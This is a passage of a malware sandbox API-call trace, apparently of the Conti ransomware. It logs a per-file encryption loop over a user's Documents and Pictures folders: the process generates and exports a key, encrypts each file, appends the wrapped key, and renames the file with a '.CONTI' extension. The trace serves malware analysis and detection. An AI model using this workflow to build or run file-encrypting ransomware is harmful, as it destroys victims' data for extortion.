	[0140.715] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.715] SetEndOfFile (hFile=0x410) returned 1
	[0140.715] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.715] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.715] WriteFile (in: hFile=0x410, lpBuffer=0x6b524cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b524cc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.717] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.717] ReadFile (in: hFile=0x410, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x16e33, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x16e33, lpOverlapped=0x0) returned 1
	[0140.723] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x16e33, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x16e40) returned 1
	[0140.723] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.723] WriteFile (in: hFile=0x410, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x16e40, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x16e40, lpOverlapped=0x0) returned 1
	[0140.723] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.723] WriteFile (in: hFile=0x410, lpBuffer=0x6b524c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b524c0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0140.723] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.723] CloseHandle (hObject=0x410) returned 1
	[0140.723] GetProcessHeap () returned 0x1720000
	[0140.723] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.723] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt"
	[0140.723] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt.CONTI"
	[0140.723] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\xxlb 4ig5durpbdxe3p.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\xxlb 4iG5DURpbdXe3P.odt.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\xxlb 4ig5durpbdxe3p.odt.conti")) returned 1
	[0140.724] GetProcessHeap () returned 0x1720000
	[0140.724] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.724] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0140.724] GetProcessHeap () returned 0x1720000
	[0140.724] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02c58 | out: hHeap=0x1720000) returned 1
	[0140.724] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0140.724] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b52038 | out: phKey=0x6b52038*=0x6b7f2b8) returned 1
	[0140.724] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5203c, pdwDataLen=0x4d3fec4 | out: pbData=0x6b5203c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0140.725] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nu8zn.odt")) returned 0x20
	[0140.725] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nu8zn.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0140.725] GetLastError () returned 0x0
	[0140.725] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=100497) returned 1
	[0140.725] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18891
	[0140.725] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.725] SetEndOfFile (hFile=0x410) returned 1
	[0140.726] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.726] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.726] WriteFile (in: hFile=0x410, lpBuffer=0x6b5203c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b5203c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.730] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.730] ReadFile (in: hFile=0x410, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x18891, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x18891, lpOverlapped=0x0) returned 1
	[0140.739] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x18891, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x188a0) returned 1
	[0140.739] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.739] WriteFile (in: hFile=0x410, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x188a0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x188a0, lpOverlapped=0x0) returned 1
	[0140.740] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.740] WriteFile (in: hFile=0x410, lpBuffer=0x6b52030*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b52030*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0140.740] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.740] CloseHandle (hObject=0x410) returned 1
	[0140.740] GetProcessHeap () returned 0x1720000
	[0140.740] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.740] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt") returned="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt"
	[0140.740] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt.CONTI"
	[0140.740] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt" (normalized: "c:\\users\\fd1hvy\\documents\\nu8zn.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nU8ZN.odt.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nu8zn.odt.conti")) returned 1
	[0140.740] GetProcessHeap () returned 0x1720000
	[0140.740] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.741] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0140.741] GetProcessHeap () returned 0x1720000
	[0140.741] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d508 | out: hHeap=0x1720000) returned 1
	[0140.741] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0140.741] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b52ba0 | out: phKey=0x6b52ba0*=0x6b7f2b8) returned 1
	[0140.741] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52ba4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b52ba4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0140.741] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\rjenn.pptx")) returned 0x20
	[0140.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\rjenn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0140.742] GetLastError () returned 0x0
	[0140.742] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=12986) returned 1
	[0140.742] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x32ba
	[0140.742] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.743] SetEndOfFile (hFile=0x410) returned 1
	[0140.743] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.743] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.743] WriteFile (in: hFile=0x410, lpBuffer=0x6b52ba4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b52ba4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.750] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.750] ReadFile (in: hFile=0x410, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x32ba, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x32ba, lpOverlapped=0x0) returned 1
	[0140.751] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x32ba, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x32c0) returned 1
	[0140.751] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.751] WriteFile (in: hFile=0x410, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x32c0, lpOverlapped=0x0) returned 1
	[0140.751] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.751] WriteFile (in: hFile=0x410, lpBuffer=0x6b52b98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b52b98*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0140.751] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.751] CloseHandle (hObject=0x410) returned 1
	[0140.751] GetProcessHeap () returned 0x1720000
	[0140.751] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.751] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx") returned="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx"
	[0140.751] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx.CONTI"
	[0140.751] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\rjenn.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\rjEnN.pptx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\rjenn.pptx.conti")) returned 1
	[0140.752] GetProcessHeap () returned 0x1720000
	[0140.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.752] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0140.752] GetProcessHeap () returned 0x1720000
	[0140.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bef70 | out: hHeap=0x1720000) returned 1
	[0140.752] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0140.752] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x6b7f2b8) returned 1
	[0140.752] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x4d3fec4 | out: pbData=0x6b53034*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0140.753] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\uw5jje9epc8ut8-4-_i4.pptx")) returned 0x20
	[0140.753] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\uw5jje9epc8ut8-4-_i4.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0140.753] GetLastError () returned 0x0
	[0140.753] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=100839) returned 1
	[0140.753] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x189e7
	[0140.753] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.753] SetEndOfFile (hFile=0x410) returned 1
	[0140.754] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.754] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.754] WriteFile (in: hFile=0x410, lpBuffer=0x6b53034*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b53034*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0141.813] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.813] ReadFile (in: hFile=0x410, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x189e7, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x189e7, lpOverlapped=0x0) returned 1
	[0141.814] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x189e7, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x189f0) returned 1
	[0141.815] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.815] WriteFile (in: hFile=0x410, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x189f0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x189f0, lpOverlapped=0x0) returned 1
	[0141.815] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.815] WriteFile (in: hFile=0x410, lpBuffer=0x6b53028*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b53028*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0141.815] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.815] CloseHandle (hObject=0x410) returned 1
	[0141.815] GetProcessHeap () returned 0x1720000
	[0141.815] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0144.160] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx") returned="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx"
	[0144.160] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx.CONTI"
	[0144.160] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\uw5jje9epc8ut8-4-_i4.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\uw5jjE9epc8uT8-4-_i4.pptx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\uw5jje9epc8ut8-4-_i4.pptx.conti")) returned 1
	[0144.160] GetProcessHeap () returned 0x1720000
	[0144.160] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0144.160] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0144.160] GetProcessHeap () returned 0x1720000
	[0144.160] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de7d0 | out: hHeap=0x1720000) returned 1
	[0144.161] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0144.161] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d4f0 | out: phKey=0x6b4d4f0*=0x6b7f0f8) returned 1
	[0144.161] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d4f4, pdwDataLen=0x4d3fec4 | out: pbData=0x6b4d4f4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0144.161] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\emidj_ibtey-yid.gif")) returned 0x20
	[0144.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\emidj_ibtey-yid.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0144.162] GetLastError () returned 0x0
	[0144.162] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=67066) returned 1
	[0144.162] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x105fa
	[0144.162] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.162] SetEndOfFile (hFile=0x49c) returned 1
	[0144.162] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.162] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.162] WriteFile (in: hFile=0x49c, lpBuffer=0x6b4d4f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4f4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.165] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.165] ReadFile (in: hFile=0x49c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x105fa, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x105fa, lpOverlapped=0x0) returned 1
	[0144.167] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x105fa, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x10600) returned 1
	[0144.167] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.168] WriteFile (in: hFile=0x49c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x10600, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x10600, lpOverlapped=0x0) returned 1
	[0144.168] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.168] WriteFile (in: hFile=0x49c, lpBuffer=0x6b4d4e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4e8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0144.168] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.168] CloseHandle (hObject=0x49c) returned 1
	[0144.168] GetProcessHeap () returned 0x1720000
	[0144.168] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0144.168] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif") returned="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif"
	[0144.168] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\emIdJ_IBTeY-YId.gif.CONTI"
